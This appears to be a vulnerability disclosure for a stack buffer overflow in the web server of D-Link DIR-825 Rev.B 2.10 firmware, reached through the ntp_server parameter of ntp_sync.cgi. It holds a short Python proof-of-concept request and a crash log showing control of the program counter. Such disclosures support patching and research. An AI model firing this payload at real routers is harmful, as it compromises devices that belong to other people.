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 kuc001 add other bug

History

1 contributor

≡ 34 lines (28 sloc) | 743 Bytes

there is a stack-based buffer overflow vulnerability that can be used to execute any code after user authentication

Vulnerability location: file: /sbin/httpd

The attacker calls this function by sending a post packet to the `http://ip/ntp_sync.cgi`

```
version: Rev.B 2.10
download link: ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-825/REVB/
```

```
5 ip = "http://192.168.0.1/"
6 url = ip + 'ntp_sync.cgi '
7
8 command = 'A'* 0x50
9
10 payload = {
11     'ntp_server': command,
12 }
13
14 r = requests.post(url, data=payload)
```

```
python3 ntp-server-overflow.py
```

```

http_sync cgl: cmd=ntpc|client -h AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -s -l 5 -c 1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: Unknown host
nvram_get_buf: lan_ipaddr
sen_get: Key: 410d0044
sen_get: Key: 410d0044
nvram_get_buf: = "192.168.0.1"
[ 5697.136000] do_page_fault() #2: sending SIGSEGV to httpd for invalid read access from
[ 5697.136000] 41414140 (epc == 41414141, ra == 41414141)
[ 5697.140000] Cpu 0
[ 5697.140000] $ 0 : 00000000 1000a400 00000000 100fd870
[ 5697.140000] $ 4 : 2af7e760 00000050 100fd890 100fd820
[ 5697.140000] $ 8 : 100fd870 8f265180 001496d8 806a13dc
[ 5697.152000] $12 : 806a0000 00000000 00000000 00000001
[ 5697.160000] $16 : 41414141 41414141 7fe5e486 100008d0
[ 5697.164000] $20 : 00000000 00000001 00460000 100085f4
[ 5697.168000] $24 : 8f2550e8 2af0e864
[ 5697.172000] $28 : 1000ba70 7fe5e460 7fe5e480 41414141
[ 5697.172000] HI : 00000000
[ 5697.180000] Lo : 00000042
[ 5697.180000] epc : 41414141 0x41414141
[ 5697.180000] Not tainted
[ 5697.184000] ra : 41414141 0x41414141
[ 5697.184000] Status: 0000a413 USER EXL IE
[ 5697.188000] Cause : 10800008
[ 5697.188000] BadVA : 41414140
[ 5697.196000] PrId : 00019300 (MIPS 24Kc)
[ 5697.196000] Modules linked in:
[ 5697.196000] Process httpd (pid: 21436, threadInfo=8f2be000, task=8f22b6e0, tls=00000000)
[ 5697.204000] Stack: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[ 5697.204000] 41414141 41202d73 202d6920 35202d63 20310032 30004854 54502f31 2e310da0
[ 5697.208000] 000d0a00 74650e74 2d547970 653a2061 70706c69 63617469 6fee2f78 2d777777
[ 5697.212000] 2d66f772 6d2d7572 6c650e63 6f646564 0d0a0000 00000000 00000000 00000000
[ 5697.216000] 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

```